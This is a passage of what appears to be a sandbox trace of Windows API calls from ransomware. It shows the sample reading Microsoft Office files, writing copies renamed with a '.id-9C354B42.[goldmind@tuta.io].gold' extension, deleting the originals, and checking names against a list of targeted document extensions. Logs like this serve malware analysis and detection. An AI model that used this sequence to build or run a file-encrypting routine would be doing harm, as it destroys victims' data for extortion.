Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0103.977] lstrlenW (lpString=".1cd") returned 4 [0103.977] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0103.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0103.977] lstrlenW (lpString=".jpg") returned 4 [0103.977] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0103.977] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0103.977] lstrlenW (lpString="OMSINTL.DLL.IDX_DLL") returned 19 [0103.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.990] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=24960) returned 1 [0104.990] CloseHandle (hObject=0x198) returned 1 [0104.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll")) returned 0x20 [0105.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.168] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.168] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.169] GetLastError () returned 0x0 [0105.169] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x6180, lpOverlapped=0x0) returned 1 [0105.257] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x6190, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x6190, lpOverlapped=0x0) returned 1 [0105.258] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.258] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0105.258] SetEndOfFile (hFile=0x3b0) returned 1 [0105.258] CloseHandle (hObject=0x3b0) returned 1 [0105.258] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.258] SetEndOfFile (hFile=0x39c) returned 1 [0105.260] CloseHandle (hObject=0x39c) returned 1 [0105.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll")) returned 1 [0105.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0105.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0105.261] lstrlenW (lpString=".doc") returned 4 [0105.261] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0105.261] lstrlenW (lpString=".docx") returned 5 [0105.261] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0105.261] lstrlenW (lpString=".pdf") returned 4 [0105.261] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0105.261] lstrlenW (lpString=".xls") returned 4 [0105.261] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0105.261] lstrlenW (lpString=".xlsx") returned 5 [0105.261] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0105.261] lstrlenW (lpString=".ppt") returned 4 [0105.261] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0105.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0105.261] lstrlenW (lpString=".zip") returned 4 [0105.261] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0105.261] lstrlenW (lpString=".rar") returned 4 [0105.261] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0105.261] lstrlenW (lpString=".bz2") returned 4 [0105.261] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0105.261] lstrlenW (lpString=".7z") returned 3 [0105.261] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0105.261] lstrlenW (lpString=".dbf") returned 4 [0105.261] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0105.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0105.261] lstrlenW (lpString=".1cd") returned 4 [0105.261] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0105.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0105.261] lstrlenW (lpString=".jpg") returned 4 [0105.261] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0105.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0105.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0105.261] lstrlenW (lpString=".doc") returned 4 [0105.261] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0105.261] lstrlenW (lpString=".docx") returned 5 [0105.261] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0105.261] lstrlenW (lpString=".pdf") returned 4 [0105.262] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0105.262] lstrlenW (lpString=".xls") returned 4 [0105.262] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0105.262] lstrlenW (lpString=".xlsx") returned 5 [0105.262] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0105.262] lstrlenW (lpString=".ppt") returned 4 [0105.262] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0105.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0105.262] lstrlenW (lpString=".zip") returned 4 [0105.262] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0105.262] lstrlenW (lpString=".rar") returned 4 [0105.262] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0105.262] lstrlenW (lpString=".bz2") returned 4 [0105.262] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0105.262] lstrlenW (lpString=".7z") returned 3 [0105.262] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0105.262] lstrlenW (lpString=".dbf") returned 4 [0105.262] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0105.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0105.262] lstrlenW (lpString=".1cd") returned 4 [0105.262] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0105.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0105.262] lstrlenW (lpString=".jpg") returned 4 [0105.262] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0105.262] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0105.262] lstrlenW (lpString="OUTLOOK_COL.HXT") returned 15 [0105.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.263] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=207) returned 1 [0105.263] CloseHandle (hObject=0x39c) returned 1 [0105.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt")) returned 0x20 [0105.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.263] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.263] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.264] GetLastError () returned 0x0 [0105.264] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xcf, lpOverlapped=0x0) returned 1 [0105.264] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0105.265] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.265] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0105.265] SetEndOfFile (hFile=0x3b0) returned 1 [0105.265] CloseHandle (hObject=0x3b0) returned 1 [0105.265] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.265] SetEndOfFile (hFile=0x39c) returned 1 [0105.267] CloseHandle (hObject=0x39c) returned 1 [0105.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt")) returned 1 [0105.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0105.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0105.268] lstrlenW (lpString=".doc") returned 4 [0105.268] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0105.268] lstrlenW (lpString=".docx") returned 5 [0105.268] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0105.268] lstrlenW (lpString=".pdf") returned 4 [0105.268] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0105.268] lstrlenW (lpString=".xls") returned 4 [0105.268] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0105.268] lstrlenW (lpString=".xlsx") returned 5 [0105.268] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0105.268] lstrlenW (lpString=".ppt") returned 4 [0105.268] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0105.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0105.268] lstrlenW (lpString=".zip") returned 4 [0105.268] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0105.268] lstrlenW (lpString=".rar") returned 4 [0105.268] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0105.268] lstrlenW (lpString=".bz2") returned 4 [0105.268] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0105.268] lstrlenW (lpString=".7z") returned 3 [0105.268] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0105.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0105.268] lstrlenW (lpString=".dbf") returned 4 [0105.268] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0105.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0105.268] lstrlenW (lpString=".1cd") returned 4 [0105.268] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0105.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0105.268] lstrlenW (lpString=".jpg") returned 4 [0105.268] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0105.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0105.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0105.269] lstrlenW (lpString=".doc") returned 4 [0105.269] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0105.269] lstrlenW (lpString=".docx") returned 5 [0105.269] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0105.269] lstrlenW (lpString=".pdf") returned 4 [0105.269] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0105.269] lstrlenW (lpString=".xls") returned 4 [0105.269] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0105.269] lstrlenW (lpString=".xlsx") returned 5 [0105.269] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0105.269] lstrlenW (lpString=".ppt") returned 4 [0105.269] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0105.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0105.269] lstrlenW (lpString=".zip") returned 4 [0105.269] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0105.269] lstrlenW (lpString=".rar") returned 4 [0105.269] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0105.269] lstrlenW (lpString=".bz2") returned 4 [0105.269] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0105.269] lstrlenW (lpString=".7z") returned 3 [0105.269] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0105.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0105.269] lstrlenW (lpString=".dbf") returned 4 [0105.269] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0105.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0105.269] lstrlenW (lpString=".1cd") returned 4 [0105.269] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0105.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0105.269] lstrlenW (lpString=".jpg") returned 4 [0105.269] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0105.269] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0105.269] lstrlenW (lpString="OUTLOOK_F_COL.HXK") returned 17 [0105.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.270] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=114) returned 1 [0105.270] CloseHandle (hObject=0x39c) returned 1 [0105.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk")) returned 0x20 [0105.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.270] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.270] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.271] GetLastError () returned 0x0 [0105.271] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x72, lpOverlapped=0x0) returned 1 [0105.272] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x80, lpOverlapped=0x0) returned 1 [0105.273] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.273] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0105.273] SetEndOfFile (hFile=0x3b0) returned 1 [0105.273] CloseHandle (hObject=0x3b0) returned 1 [0105.273] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.273] SetEndOfFile (hFile=0x39c) returned 1 [0105.275] CloseHandle (hObject=0x39c) returned 1 [0105.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk")) returned 1 [0105.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0105.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0105.276] lstrlenW (lpString=".doc") returned 4 [0105.276] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.276] lstrlenW (lpString=".docx") returned 5 [0105.276] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.276] lstrlenW (lpString=".pdf") returned 4 [0105.276] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.276] lstrlenW (lpString=".xls") returned 4 [0105.276] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.276] lstrlenW (lpString=".xlsx") returned 5 [0105.276] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.276] lstrlenW (lpString=".ppt") returned 4 [0105.276] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0105.276] lstrlenW (lpString=".zip") returned 4 [0105.277] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.277] lstrlenW (lpString=".rar") returned 4 [0105.277] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.277] lstrlenW (lpString=".bz2") returned 4 [0105.277] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.277] lstrlenW (lpString=".7z") returned 3 [0105.277] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0105.277] lstrlenW (lpString=".dbf") returned 4 [0105.277] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0105.277] lstrlenW (lpString=".1cd") returned 4 [0105.277] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0105.277] lstrlenW (lpString=".jpg") returned 4 [0105.277] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0105.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0105.277] lstrlenW (lpString=".doc") returned 4 [0105.277] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.277] lstrlenW (lpString=".docx") returned 5 [0105.277] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.277] lstrlenW (lpString=".pdf") returned 4 [0105.277] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.277] lstrlenW (lpString=".xls") returned 4 [0105.277] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.277] lstrlenW (lpString=".xlsx") returned 5 [0105.277] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.277] lstrlenW (lpString=".ppt") returned 4 [0105.277] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0105.277] lstrlenW (lpString=".zip") returned 4 [0105.277] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.277] lstrlenW (lpString=".rar") returned 4 [0105.277] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.277] lstrlenW (lpString=".bz2") returned 4 [0105.277] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.277] lstrlenW (lpString=".7z") returned 3 [0105.277] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0105.277] lstrlenW (lpString=".dbf") returned 4 [0105.277] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0105.277] lstrlenW (lpString=".1cd") returned 4 [0105.277] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0105.277] lstrlenW (lpString=".jpg") returned 4 [0105.277] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.277] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0105.278] lstrlenW (lpString="OUTLOOK_K_COL.HXK") returned 17 [0105.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft 